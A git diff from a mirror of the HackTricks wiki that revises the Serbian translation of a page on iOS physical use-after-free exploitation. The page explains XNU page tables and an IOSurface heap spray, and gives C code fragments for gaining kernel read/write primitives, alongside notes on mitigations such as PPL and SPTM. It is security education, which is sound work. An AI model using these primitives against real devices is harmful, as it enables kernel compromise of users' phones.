mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/binary-exploitation/ios-exploiting/ios-physical-uaf
This commit is contained in:
parent
2843d10b51
commit
b18f82c28a
@ -1,19 +1,19 @@
|
|||||||
# iOS Physical Use-After-Free via IOSurface
|
# iOS Physical Use After Free via IOSurface
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## Physical use-after-free
|
## Fizički use-after-free
|
||||||
|
|
||||||
Ovo je sažetak posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Pored toga, dodatne informacije o exploit-u koji koristi ovu tehniku mogu se naći u [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
|
Ovo je sažetak posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o exploit-u koji koristi ovu tehniku mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||||
|
|
||||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
### Upravljanje memorijom u XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||||
|
|
||||||
The **virtuelni adresni prostor** za korisničke procese na iOS obuhvata od **0x0 do 0x8000000000**. Međutim, ove adrese se ne preslikavaju direktno na fizičku memoriju. Umesto toga, kernel koristi **page tables** da prevede virtuelne adrese u stvarne **physical addresses**.
|
Virtuelni adresni prostor za procese korisnika na iOS-u prostire se od **0x0 do 0x8000000000**. Međutim, ove adrese se ne preslikavaju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **page tables** da prevede virtuelne adrese u stvarne **fizičke adrese**.
|
||||||
|
|
||||||
#### Levels of Page Tables in iOS
|
#### Nivoi page tabela u iOS-u
|
||||||
|
|
||||||
Page tables su organizovane hijerarhijski u tri nivoa:
|
Page table-ovi su organizovani hijerarhijski u tri nivoa:
|
||||||
|
|
||||||
1. **L1 Page Table (Level 1)**:
|
1. **L1 Page Table (Level 1)**:
|
||||||
* Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
|
* Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
|
||||||
@ -25,25 +25,25 @@ Page tables su organizovane hijerarhijski u tri nivoa:
|
|||||||
* Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** memorijsku stranicu.
|
* Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** memorijsku stranicu.
|
||||||
* L2 unos može pokazivati na L3 tabelu ako je potrebna detaljnija kontrola.
|
* L2 unos može pokazivati na L3 tabelu ako je potrebna detaljnija kontrola.
|
||||||
|
|
||||||
#### Mapping Virtual to Physical Memory
|
#### Mapiranje virtuelne u fizičku memoriju
|
||||||
|
|
||||||
* **Direct Mapping (Block Mapping)**:
|
* **Direct Mapping (Block Mapping)**:
|
||||||
* Neki unosi u page table direktno **mapiraju opseg virtuelnih adresa** u kontinualan opseg fizičkih adresa (kao prečica).
|
* Neki unosi u page tabeli direktno **mapiraju opseg virtuelnih adresa** na kontinualan opseg fizičkih adresa (kao prečica).
|
||||||
* **Pointer to Child Page Table**:
|
* **Pointer to Child Page Table**:
|
||||||
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može pokazivati na **child page table** na sledećem nivou (npr. L2).
|
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može pokazivati na **child page table** na sledećem nivou (npr. L2).
|
||||||
|
|
||||||
#### Example: Mapping a Virtual Address
|
#### Primer: mapiranje virtuelne adrese
|
||||||
|
|
||||||
Recimo da pokušate da pristupite virtuelnoj adresi **0x1000000000**:
|
Recimo da pokušate da pristupite virtuelnoj adresi **0x1000000000**:
|
||||||
|
|
||||||
1. **L1 Table**:
|
1. **L1 Table**:
|
||||||
* Kernel proverava L1 page table unos koji odgovara toj virtuelnoj adresi. Ako ima **pointer to an L2 page table**, prelazi na tu L2 tabelu.
|
* Kernel proverava odgovarajući unos u L1 page tabeli za ovu virtuelnu adresu. Ako ima **pointer** ka L2 page tabeli, prelazi u tu L2 tabelu.
|
||||||
2. **L2 Table**:
|
2. **L2 Table**:
|
||||||
* Kernel proverava L2 page table za detaljnije preslikavanje. Ako taj unos pokazuje na **L3 page table**, prelazi dalje.
|
* Kernel proverava L2 page tabelu za detaljnije mapiranje. Ako ovaj unos pokazuje na **L3 page table**, prelazi se tamo.
|
||||||
3. **L3 Table**:
|
3. **L3 Table**:
|
||||||
* Kernel traži konačni L3 unos, koji pokazuje na **fizičku adresu** stvarne memorijske stranice.
|
* Kernel pregleda finalni L3 unos, koji pokazuje na **fizičku adresu** stvarne memorijske stranice.
|
||||||
|
|
||||||
#### Example of Address Mapping
|
#### Primer mapiranja adresa
|
||||||
|
|
||||||
Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, onda:
|
Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, onda:
|
||||||
|
|
||||||
@ -52,48 +52,48 @@ Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, onda:
|
|||||||
|
|
||||||
Alternativno, ako L2 unos pokazuje na L3 tabelu:
|
Alternativno, ako L2 unos pokazuje na L3 tabelu:
|
||||||
|
|
||||||
* Svaka 4 KB stranica u virtuelnom adresnom opsegu **0x1000000000 -> 0x1002000000** biće mapirana pojedinačnim unosima u L3 tabeli.
|
* Svaka 4 KB stranica u virtuelnom adresnom opsegu **0x1000000000 -> 0x1002000000** bi bila mapirana pojedinačnim unosima u L3 tabeli.
|
||||||
|
|
||||||
### Physical use-after-free
|
### Physical use-after-free
|
||||||
|
|
||||||
A **physical use-after-free** (UAF) se dešava kada:
|
Physički use-after-free (UAF) se dešava kada:
|
||||||
|
|
||||||
1. Proces **alokira** memoriju kao **readable and writable**.
|
1. Proces **alokira** neku memoriju kao **readable i writable**.
|
||||||
2. **Page tables** se ažuriraju da mapiraju tu memoriju na specifičnu fizičku adresu kojoj proces može pristupiti.
|
2. **Page tables** su ažurirane da mapiraju ovu memoriju na specifičnu fizičku adresu kojoj proces može pristupiti.
|
||||||
3. Proces **dealocira** (oslobodi) memoriju.
|
3. Proces **dealocira** (oslobodi) memoriju.
|
||||||
4. Međutim, zbog buga, kernel **zaboravi da ukloni mapping** iz page tables, iako je odgovarajuća fizička memorija označena kao slobodna.
|
4. Međutim, zbog **baga**, kernel **zaboravi da ukloni mapiranje** iz page tabela, iako označi odgovarajuću fizičku memoriju kao slobodnu.
|
||||||
5. Kernel može potom **ponovo alocirati tu "slobodnu" fizičku memoriju** za druge potrebe, npr. kernel podatke.
|
5. Kernel zatim može **ponovo alocirati ovu "oslobođenu" fizičku memoriju** za druge svrhe, kao što su **kernel podaci**.
|
||||||
6. Pošto mapping nije uklonjen, proces i dalje može **čitati i pisati** u tu fizičku memoriju.
|
6. Pošto mapiranje nije uklonjeno, proces i dalje može **čitati i pisati** tu fizičku memoriju.
|
||||||
|
|
||||||
To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržavati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**.
|
To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržavati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**.
|
||||||
|
|
||||||
### IOSurface Heap Spray
|
### IOSurface Heap Spray
|
||||||
|
|
||||||
Pošto napadač ne može da kontroliše koje će konkretne kernel stranice biti dodeljene oslobođenoj memoriji, koristi tehniku zvanu **heap spray**:
|
Pošto napadač ne može kontrolisati koje konkretne kernel stranice će biti dodeljene oslobođenoj memoriji, koristi se tehnika zvana **heap spray**:
|
||||||
|
|
||||||
1. Napadač **kreira veliki broj IOSurface objekata** u kernel memoriji.
|
1. Napadač **kreira veliki broj IOSurface objekata** u kernel memoriji.
|
||||||
2. Svaki IOSurface objekat sadrži **magic value** u jednom od svojih polja, što olakšava identifikaciju.
|
2. Svaki IOSurface objekat sadrži **magničnu vrednost** u jednom od svojih polja, što ga čini lakim za identifikaciju.
|
||||||
3. Oni **skeniraju oslobođene stranice** da vide da li su neki od tih IOSurface objekata završili na oslobođenoj stranici.
|
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata dospeo na oslobođenu stranicu.
|
||||||
4. Kada nađu IOSurface objekat na oslobođenoj stranici, mogu ga iskoristiti da **čitaju i pišu kernel memoriju**.
|
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga iskoristiti za **čitanje i pisanje kernel memorije**.
|
||||||
|
|
||||||
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
Više informacija o ovome na [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Imajte na umu da iOS 16+ (A12+) uređaji uvode hardverske mitigacije (kao što su PPL ili SPTM) koje čine physical UAF tehnike znatno manje izvodljivim.
|
> Imajte na umu da iOS 16+ (A12+) uređaji uvode hardverske mitigacije (kao što su PPL ili SPTM) koje čine fizičke UAF tehnike znatno manje izvodljivim.
|
||||||
> PPL nameće stroge MMU zaštite na stranicama vezanim za code signing, entitlements i osetljive kernel podatke, tako da, čak i ako se stranica ponovo iskoristi, pisanja iz userlanda ili kompromitovanog kernel koda na PPL-zaštićene stranice bivaju blokirana.
|
> PPL nameće stroga MMU ograničenja na stranicama vezanim za code signing, entitlements i osetljive kernel podatke, pa čak i ako se stranica ponovo koristi, upisi iz userlanda ili kompromitovanog kernel koda u PPL-zaštićene stranice su blokirani.
|
||||||
> Secure Page Table Monitor (SPTM) proširuje PPL tako što ojačava same page table update-ove. On osigurava da čak ni privilegovani kernel kod ne može neprimetno remap-ovati oslobođene stranice ili menjati mape bez prolaska kroz sigurne provere.
|
> Secure Page Table Monitor (SPTM) proširuje PPL tako što ojačava same page table update-ove. On osigurava da čak ni privilegovani kernel kod ne može neprimetno remapirati oslobođene stranice ili menjati mapiranja bez prolaska kroz sigurnosne provere.
|
||||||
> KTRR (Kernel Text Read-Only Region) zaključava kernel-ov kod kao read-only nakon boot-a. Ovo onemogućava bilo kakve runtime modifikacije kernel koda, zatvarajući značajan napadni vektor na koji se physical UAF exploit-i često oslanjaju.
|
> KTRR (Kernel Text Read-Only Region) zaključava sekciju kernel koda kao samo za čitanje posle boot-a. Ovo sprečava bilo kakve izmene kernel koda u toku rada, zatvarajući jedan od glavnih vektora napada na koji se fizički UAF exploiti često oslanjaju.
|
||||||
> Pored toga, IOSurface alokacije su manje predvidive i teže se mapiraju u user-accessible regione, što čini trik sa “magic value scanning” mnogo manje pouzdanim. I IOSurface sada zahteva entitlements i podleže sandbox ograničenjima.
|
> Pored toga, `IOSurface` alokacije su manje predvidljive i teže ih je mapirati u user-accessible regione, što čini trik sa skeniranjem "magične vrednosti" mnogo manje pouzdanim. I `IOSurface` je sada zaštićen entitlements i sandbox ograničenjima.
|
||||||
|
|
||||||
### Step-by-Step Heap Spray Process
|
### Step-by-Step Heap Spray Process
|
||||||
|
|
||||||
1. **Spray IOSurface Objects**: Napadač kreira mnoge IOSurface objekte sa specijalnim identifikatorom ("magic value").
|
1. **Spray IOSurface Objects**: Napadač kreira mnogo IOSurface objekata sa specijalnim identifikatorom ("magic value").
|
||||||
2. **Scan Freed Pages**: Proveravaju da li je bilo koji od objekata alociran na oslobođenoj stranici.
|
2. **Scan Freed Pages**: Proveravaju da li je neki od objekata alociran na oslobođenoj stranici.
|
||||||
3. **Read/Write Kernel Memory**: Manipulacijom polja u IOSurface objektu, dobijaju mogućnost za **arbitrary reads and writes** u kernel memoriji. Ovo im omogućava da:
|
3. **Read/Write Kernel Memory**: Manipulacijom polja u IOSurface objektu, stiču sposobnost da izvode **arbitrary reads and writes** u kernel memoriji. To im omogućava da:
|
||||||
* Koriste jedno polje za **čitati bilo koju 32-bit vrednost** u kernel memoriji.
|
* Iskoriste jedno polje da **čitaju bilo koju 32-bit vrednost** u kernel memoriji.
|
||||||
* Koriste drugo polje za **pisati 64-bit vrednosti**, ostvarujući stabilan **kernel read/write primitive**.
|
* Iskoriste drugo polje da **pišu 64-bit vrednosti**, postižući stabilan **kernel read/write primitive**.
|
||||||
|
|
||||||
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
|
Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE\_MAGIC za kasnije pretraživanje:
|
||||||
```c
|
```c
|
||||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||||
if (*nClients >= 0x4000) return;
|
if (*nClients >= 0x4000) return;
|
||||||
@ -114,7 +114,7 @@ io_connect_t id = result.surface_id;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Pretražite **`IOSurface`** objekte u jednoj oslobođenoj fizičkoj stranici:
|
Pretražite objekte **`IOSurface`** u jednoj oslobođenoj fizičkoj stranici:
|
||||||
```c
|
```c
|
||||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||||
@ -148,25 +148,25 @@ free(surfaceIDs);
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Postizanje Kernel Read/Write with IOSurface
|
### Postizanje čitanja/pisanja u kernelu pomoću IOSurface
|
||||||
|
|
||||||
Nakon što preuzmemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranom na oslobođenu fizičku stranicu dostupnu iz userspace-a), možemo ga koristiti za proizvoljne kernel operacije čitanja i pisanja.
|
Nakon što se uspostavi kontrola nad IOSurface objektom u kernel memoriji (mapiran na oslobođenu fizičku stranicu kojoj korisnički prostor ima pristup), možemo ga iskoristiti za **arbitrary kernel read and write operations**.
|
||||||
|
|
||||||
**Key Fields in IOSurface**
|
**Ključna polja u IOSurface**
|
||||||
|
|
||||||
IOSurface objekat ima dva ključna polja:
|
IOSurface objekat ima dva ključna polja:
|
||||||
|
|
||||||
1. **Use Count Pointer**: Omogućava **32-bit read**.
|
1. **Use Count Pointer**: Omogućava **32-bit read**.
|
||||||
2. **Indexed Timestamp Pointer**: Omogućava **64-bit write**.
|
2. **Indexed Timestamp Pointer**: Omogućava **64-bit write**.
|
||||||
|
|
||||||
Prepisivanjem ovih pokazivača preusmeravamo ih na proizvoljne adrese u kernel memoriji, čime omogućavamo mogućnosti read/write.
|
Prepisivanjem ovih pokazivača preusmeravamo ih na proizvoljne adrese u kernel memoriji, čime dobijamo mogućnost čitanja/pisanja.
|
||||||
|
|
||||||
#### 32-Bit Kernel Read
|
#### 32-Bit Kernel Read
|
||||||
|
|
||||||
Da izvršimo čitanje:
|
Za izvođenje čitanja:
|
||||||
|
|
||||||
1. Prepišite **use count pointer** da pokazuje na ciljnu adresu umanjenu za offset od 0x14 bajta.
|
1. Prepišite **use count pointer** da pokazuje na ciljnu adresu umanjenu za offset od 0x14 bajta.
|
||||||
2. Koristite metodu `get_use_count` da pročitate vrednost na toj adresi.
|
2. Koristite `get_use_count` method da pročitate vrednost na toj adresi.
|
||||||
```c
|
```c
|
||||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||||
uint64_t args[1] = {surfaceID};
|
uint64_t args[1] = {surfaceID};
|
||||||
@ -184,12 +184,12 @@ iosurface_set_use_count_pointer(info.object, orig);
|
|||||||
return value;
|
return value;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### 64-bit upis u kernel
|
#### 64-Bit Kernel Write
|
||||||
|
|
||||||
Da biste izvršili upis:
|
Da biste izvršili upis:
|
||||||
|
|
||||||
1. Prepišite **indexed timestamp pointer** na ciljnu adresu.
|
1. Prepišite **indexed timestamp pointer** da pokazuje na ciljnu adresu.
|
||||||
2. Koristite `set_indexed_timestamp` metodu da upišete 64-bit vrednost.
|
2. Koristite `set_indexed_timestamp` metodu da upišete 64-bitnu vrednost.
|
||||||
```c
|
```c
|
||||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||||
uint64_t args[3] = {surfaceID, 0, value};
|
uint64_t args[3] = {surfaceID, 0, value};
|
||||||
@ -205,11 +205,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|||||||
```
|
```
|
||||||
#### Exploit Flow Recap
|
#### Exploit Flow Recap
|
||||||
|
|
||||||
1. **Trigger Physical Use-After-Free**: Slobodne stranice postaju dostupne za ponovnu upotrebu.
|
1. **Trigger Physical Use-After-Free**: Slobodne stranice su dostupne za ponovnu upotrebu.
|
||||||
2. **Spray IOSurface Objects**: Alocirajte mnogo IOSurface objekata sa jedinstvenom "magic value" u kernel memory.
|
2. **Spray IOSurface Objects**: Alocirajte mnogo IOSurface objekata sa jedinstvenom "magic value" u kernel memoriji.
|
||||||
3. **Identify Accessible IOSurface**: Pronađite IOSurface na oslobođenoj stranici kojom upravljate.
|
3. **Identify Accessible IOSurface**: Pronađite IOSurface na oslobođenoj stranici kojom upravljate.
|
||||||
4. **Abuse Use-After-Free**: Izmenite pokazivače u IOSurface objektu kako biste omogućili proizvoljno **kernel read/write** preko IOSurface metoda.
|
4. **Abuse Use-After-Free**: Izmenite pokazivače u IOSurface objektu kako biste omogućili proizvoljno **kernel read/write** putem IOSurface metoda.
|
||||||
|
|
||||||
Sa ovim primitivima, exploit obezbeđuje kontrolisane **32-bit reads** i **64-bit writes** u kernel memory. Dalji koraci za jailbreak mogli bi uključivati stabilnije read/write primitive, koje mogu zahtevati zaobilaženje dodatnih zaštita (npr. PPL na novijim arm64e uređajima).
|
Sa ovim primitivima, exploit obezbeđuje kontrolisano **32-bit reads** i **64-bit writes** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije read/write primitive, koje mogu zahtevati zaobilaženje dodatnih zaštita (npr. PPL na novijim arm64e uređajima).
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user